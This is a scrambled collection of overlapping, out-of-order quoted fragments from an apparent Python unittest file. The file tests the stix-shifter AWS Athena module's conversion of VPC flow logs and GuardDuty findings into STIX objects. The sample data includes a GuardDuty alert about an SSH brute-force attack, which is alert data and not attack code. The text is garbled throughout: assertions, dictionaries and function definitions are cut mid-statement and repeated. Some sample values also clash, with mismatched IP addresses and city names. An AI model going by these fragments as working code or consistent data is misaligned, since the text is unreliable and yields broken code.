"= observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is not",
"result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects =",
"assert network_obj is not None, 'network-traffic object type not found'",
"stix_shifter_utils.stix_translation.src.json_to_stix import json_to_stix_translator from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import",
"}, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options = {\"unmapped_fallback\": True} result_bundle",
"'src_ref', 'dst_ref', 'src_port', 'protocols'} assert network_obj['type'] == 'network-traffic' assert network_obj['dst_port']",
"object properties\"\"\" data = { \"vpcflow\": { \"account\": 979326520502, \"interfaceid\":",
"assert network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix",
"custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition'] ==",
"\"aws\", \"resource\": { \"instancedetails\": { \"imagedescription\": \"Provided by Red Hat,",
"\"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\",",
"{'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'} assert network_obj['type'] == 'network-traffic'",
"\"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\",",
"\"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94",
"\"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\" }, \"remoteipdetails\": { \"geolocation\":",
"}, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data,",
"\"us-east-1\", \"version\": 2 } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data,",
"is not None, 'network-traffic object type not found' assert network_obj.keys()",
"\"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data],",
"'OK' assert custom_object['numbytes'] == 40 assert custom_object['region'] == 'us-east-1' assert",
"\"\"\" class to perform unit test case for Aws Athena",
"TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is not None, 'network-traffic object type",
"data_source['id'] assert result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data",
"\"version\": 2 } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data],",
"'2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws' assert custom_object['schemaversion'] == 2.0 assert",
"result_bundle_identity['id'] assert observed_data['created'] is not None assert observed_data['modified'] is not",
"\"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle",
"'interfaceid', 'date', 'logstatus', 'numbytes', 'region', 'version'} assert custom_object['date'] == '2020-06-19'",
"\"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": {",
"found' assert network_obj.keys() == {'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols',",
"force attacks against i-031cb81e1f32a36e1.\" \" Brute force attacks are used",
"map_data, [data], get_module_transformers(MODULE), options) assert result_bundle['type'] == 'bundle' result_bundle_objects =",
"result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class'] ==",
"in observed_data objects = observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert",
"\" \"guessing the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\":",
"None assert observed_data['modified'] is not None assert observed_data['number_observed'] is not",
"assert network_obj['dst_ref'] == '4' assert network_obj['src_port'] == 58387 assert network_obj['dst_port']",
"entry_point = EntryPoint() map_data = entry_point.get_results_translator().map_data data_source = { \"type\":",
"\"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\",",
"\"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\"",
"attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10",
"\"Unknown\" } } }, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\",",
"\"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\":",
"get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type']",
"data_source = { \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\":",
"network_obj['src_port'] == 22 assert network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to",
"\"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\":",
"'2020-06-19' assert custom_object['logstatus'] == 'OK' assert custom_object['numbytes'] == 40 assert",
"from stix_shifter_utils.stix_translation.src.json_to_stix import json_to_stix_translator from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point",
"options = {} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform unit",
"custom_object['logstatus'] == 'OK' assert custom_object['numbytes'] == 40 assert custom_object['region'] ==",
"access to your instance by guessing \" \"the SSH password.\",",
"the itr if constraint is true \"\"\" return next( (obj",
"= { \"vpcflow\": { \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\",",
"\"partition\": \"aws\", \"resource\": { \"instancedetails\": { \"imagedescription\": \"Provided by Red",
"constraint(obj)), None ) @staticmethod def get_first_of_type(itr, typ): \"\"\" to check",
"= result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id'] == data_source['id']",
"result_bundle_objects[1] assert 'objects' in observed_data objects = observed_data['objects'] network_obj =",
"guessing \" \"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\":",
"'494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert",
"'src_port', 'dst_port', 'protocols', 'start', 'end'} assert network_obj['type'] == 'network-traffic' assert",
"\"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\":",
"gain unauthorized access to your instance by \" \"guessing the",
"return the obj in the itr if constraint is true",
"attacks against i-031cb81e1f32a36e1. \" \"Brute force attacks are used to",
"itr if constraint(obj)), None ) @staticmethod def get_first_of_type(itr, typ): \"\"\"",
"used to gain unauthorized access to your instance by \"",
"1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\":",
"\"\"\" @staticmethod def get_first(itr, constraint): \"\"\" return the obj in",
"\"2020-09-12T09:25:34.086Z\" } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE),",
"EntryPoint() map_data = entry_point.get_results_translator().map_data data_source = { \"type\": \"identity\", \"id\":",
"unit test case for Aws Athena logs translate results \"\"\"",
"assert network_obj['src_ref'] == '1' assert network_obj['dst_ref'] == '4' assert network_obj['src_port']",
"{ \"lat\": \"59.2741\", \"lon\": \"15.2066\" }, \"organization\": { \"asn\": \"2119\",",
"\"\"\" data = { \"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\",",
"None ) @staticmethod def get_first_of_type(itr, typ): \"\"\" to check whether",
"assert result_bundle['type'] == 'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0]",
"[data], get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert",
"\"portname\": \"SSH\" }, \"remoteipdetails\": { \"geolocation\": { \"lat\": \"59.2741\", \"lon\":",
"'resource', 'schemaversion', 'service', 'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb'",
"assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created'] is not None assert",
"gain unauthorized access to your instance by guessing \" \"the",
"assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition']",
"\"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\":",
"'region', 'version'} assert custom_object['date'] == '2020-06-19' assert custom_object['logstatus'] == 'OK'",
"58387 assert network_obj['dst_port'] == 51289 assert network_obj['protocols'] == ['tcp'] assert",
"40 assert custom_object['region'] == 'us-east-1' assert custom_object['version'] == 2 def",
"assert 'objects' in observed_data objects = observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(),",
"51289, \"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798, \"action\": \"REJECT\", \"date\":",
"\"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle = json_to_stix_translator.convert_to_stix( data_source,",
"to your instance by \" \"guessing the SSH password.\", \"finding_id\":",
"def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data =",
"assert network_obj['dst_port'] == 51289 assert network_obj['protocols'] == ['tcp'] assert network_obj['start']",
"for obj in itr if constraint(obj)), None ) @staticmethod def",
"for Aws Athena logs translate results \"\"\" @staticmethod def get_first(itr,",
"isinstance(o, dict) and o.get('type') == typ) def test_common_prop(self): \"\"\" to",
"assert custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self): \"\"\"to test network stix",
"\"2119\", \"asnorg\": \"Telenor Norge AS\", \"isp\": \"Telenor Sverige AB\", \"org\":",
"Sverige AB\", \"org\": \"Telenor Sverige AB\" } }, \"remoteportdetails\": {",
"objects = observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is",
"assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix",
"= result_bundle_objects[1] assert 'objects' in observed_data objects = observed_data['objects'] custom_object",
"\\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z'",
"\"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\",",
"'finding_id', 'arn', 'createdat', 'partition', 'resource', 'schemaversion', 'service', 'updatedat'} assert custom_object['arn']",
"\"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289, \"protocol\": \"tcp\",",
"custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition', 'resource', 'schemaversion',",
"properties\"\"\" data = { \"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\",",
"\"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94 is performing SSH brute",
"is performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\"",
"40, \"region\": \"us-east-1\", \"version\": 2 } } options = {\"unmapped_fallback\":",
"and o.get('type') == typ) def test_common_prop(self): \"\"\" to test the",
"None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data",
"assert observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created']",
"\"endtime\": 1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40,",
"assert custom_object.keys() == {'type', 'interfaceid', 'date', 'logstatus', 'numbytes', 'region', 'version'}",
"\"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\" } options",
"\"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\",",
"\"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387,",
"\"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289,",
"performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\",",
"network_obj.keys() == {'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'} assert network_obj['type']",
"lambda o: isinstance(o, dict) and o.get('type') == typ) def test_common_prop(self):",
"against i-031cb81e1f32a36e1.\" \" Brute force attacks are used to gain",
"Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\":",
"'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] ==",
"\"us-east-1\", \"version\": 2 } } options = {\"unmapped_fallback\": True} result_bundle",
"}, \"remoteportdetails\": { \"portname\": \"Unknown\" } } }, \"count\": \"20\",",
"def test_guardduty_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data =",
"test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data = {",
"get_module_transformers(MODULE), options) assert result_bundle['type'] == 'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity",
"\"Name\", \"value\": \"<NAME>\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\":",
"40, \"region\": \"us-east-1\", \"version\": 2 } } result_bundle = json_to_stix_translator.convert_to_stix(",
"'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] ==",
"custom_object['partition'] == 'aws' assert custom_object['schemaversion'] == 2.0 assert custom_object['updatedat'] ==",
"\"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40, \"region\": \"us-east-1\",",
"'network-traffic') assert network_obj is not None, 'network-traffic object type not",
"translate results \"\"\" @staticmethod def get_first(itr, constraint): \"\"\" return the",
"assert observed_data['created'] is not None assert observed_data['modified'] is not None",
"\"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\" } options = {} class",
"custom_object['numbytes'] == 40 assert custom_object['region'] == 'us-east-1' assert custom_object['version'] ==",
"are used to gain unauthorized access to your instance by",
"\"description\": \"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\"",
"\"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\":",
"@staticmethod def get_first(itr, constraint): \"\"\" return the obj in the",
"def test_common_prop(self): \"\"\" to test the common stix object properties",
"\"\"\" to test the common stix object properties \"\"\" data",
"\"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\" }, \"remoteipdetails\": { \"geolocation\": {",
"SSH brute force attacks against i-031cb81e1f32a36e1.\" \" Brute force attacks",
"== '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\"",
"22 assert network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network",
"is performing SSH brute force attacks against i-031cb81e1f32a36e1.\" \" Brute",
"= json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects']",
"\"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\",",
"access to your instance by \" \"guessing the SSH password.\",",
"\"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\",",
"attacks against i-031cb81e1f32a36e1.\" \" Brute force attacks are used to",
"TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform unit test case for Aws",
"{ \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\":",
"\"\"\" return next( (obj for obj in itr if constraint(obj)),",
"\"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\",",
"'3' assert network_obj['dst_ref'] == '9' assert network_obj['src_port'] == 22 assert",
"== '4' assert network_obj['src_port'] == 58387 assert network_obj['dst_port'] == 51289",
"None, 'network-traffic object type not found' assert network_obj.keys() == {'type',",
"used to gain unauthorized access to your instance by guessing",
"not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\"",
"\"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 } } result_bundle =",
"network_obj['dst_port'] == 51289 assert network_obj['protocols'] == ['tcp'] assert network_obj['start'] ==",
"{\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options)",
"'date', 'logstatus', 'numbytes', 'region', 'version'} assert custom_object['date'] == '2020-06-19' assert",
"network stix object properties\"\"\" data = { \"vpcflow\": { \"account\":",
"o: isinstance(o, dict) and o.get('type') == typ) def test_common_prop(self): \"\"\"",
"\"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\":",
"== 58387 assert network_obj['dst_port'] == 51289 assert network_obj['protocols'] == ['tcp']",
"\"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"ArcSight",
"\"portname\": \"Unknown\" } } }, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\":",
"stix object properties\"\"\" data = { \"vpcflow\": { \"account\": 979326520502,",
"1592547798, \"action\": \"REJECT\", \"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40, \"region\":",
"SSH brute force attacks against i-031cb81e1f32a36e1. \" \"Brute force attacks",
"\"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\",",
"network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to",
"result_bundle['type'] == 'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert",
"\"version\": 2 } } options = {\"unmapped_fallback\": True} result_bundle =",
"\"59.2741\", \"lon\": \"15.2066\" }, \"organization\": { \"asn\": \"2119\", \"asnorg\": \"Telenor",
"stix object properties \"\"\" data = { \"guardduty\": { \"accountid\":",
"network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is not None, 'network-traffic",
"'9' assert network_obj['src_port'] == 22 assert network_obj['protocols'] == ['tcp'] def",
"\"Name\", \"value\": \"ArcSight Logger\" } } }, \"resourcetype\": \"Instance\" },",
"unittest MODULE = \"aws_athena\" entry_point = EntryPoint() map_data = entry_point.get_results_translator().map_data",
"assert network_obj['dst_ref'] == '9' assert network_obj['src_port'] == 22 assert network_obj['protocols']",
"from stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest MODULE = \"aws_athena\" entry_point",
"\"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\": {",
"}, \"schemaversion\": 2.0, \"service\": { \"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\":",
"== 40 assert custom_object['region'] == 'us-east-1' assert custom_object['version'] == 2",
"= {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE),",
"\"identity_class\": \"events\" } options = {} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class",
"assert custom_object['partition'] == 'aws' assert custom_object['schemaversion'] == 2.0 assert custom_object['updatedat']",
"2 def test_guardduty_network_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data",
"{ \"0\": { \"key\": \"Name\", \"value\": \"ArcSight Logger\" } }",
"stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest MODULE",
"= TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'interfaceid', 'date', 'logstatus',",
"'schemaversion', 'service', 'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert",
"result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data = result_bundle_objects[1]",
"\"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2,",
"AS\", \"isp\": \"Telenor Sverige AB\", \"org\": \"Telenor Sverige AB\" }",
"\"asn\": \"2119\", \"asnorg\": \"Telenor Norge AS\", \"isp\": \"Telenor Sverige AB\",",
"def get_first(itr, constraint): \"\"\" return the obj in the itr",
"stix object properties\"\"\" data = { \"guardduty\": { \"accountid\": 979326520502,",
"instance by guessing \" \"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\":",
"\"instancedetails\": { \"imagedescription\": \"Provided by Red Hat, Inc.\", \"instancestate\": \"running\",",
"= TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is not None, 'network-traffic object",
"'start', 'end'} assert network_obj['type'] == 'network-traffic' assert network_obj['src_ref'] == '1'",
"== '3' assert network_obj['dst_ref'] == '9' assert network_obj['src_port'] == 22",
"{ \"guardduty\": { \"accountid\": 979326520502, \"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\":",
"\"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\",",
"object properties\"\"\" data = { \"guardduty\": { \"accountid\": 979326520502, \"region\":",
"== 'network-traffic' assert network_obj['src_ref'] == '1' assert network_obj['dst_ref'] == '4'",
"observed_data objects = observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj",
"assert network_obj['type'] == 'network-traffic' assert network_obj['src_ref'] == '1' assert network_obj['dst_ref']",
"'7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws' assert",
"\"name\": \"aws_athena\", \"identity_class\": \"events\" } options = {} class TestAwsResultsToStix(unittest.TestCase):",
"to perform unit test case for Aws Athena logs translate",
"\"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\":",
"whether the object belongs to respective stix object \"\"\" return",
"is true \"\"\" return next( (obj for obj in itr",
"\"service\": { \"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\",",
"options) assert result_bundle['type'] == 'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity =",
"properties\"\"\" data = { \"vpcflow\": { \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\",",
"map_data = entry_point.get_results_translator().map_data data_source = { \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\",",
"obj in the itr if constraint is true \"\"\" return",
"by \" \"guessing the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\",",
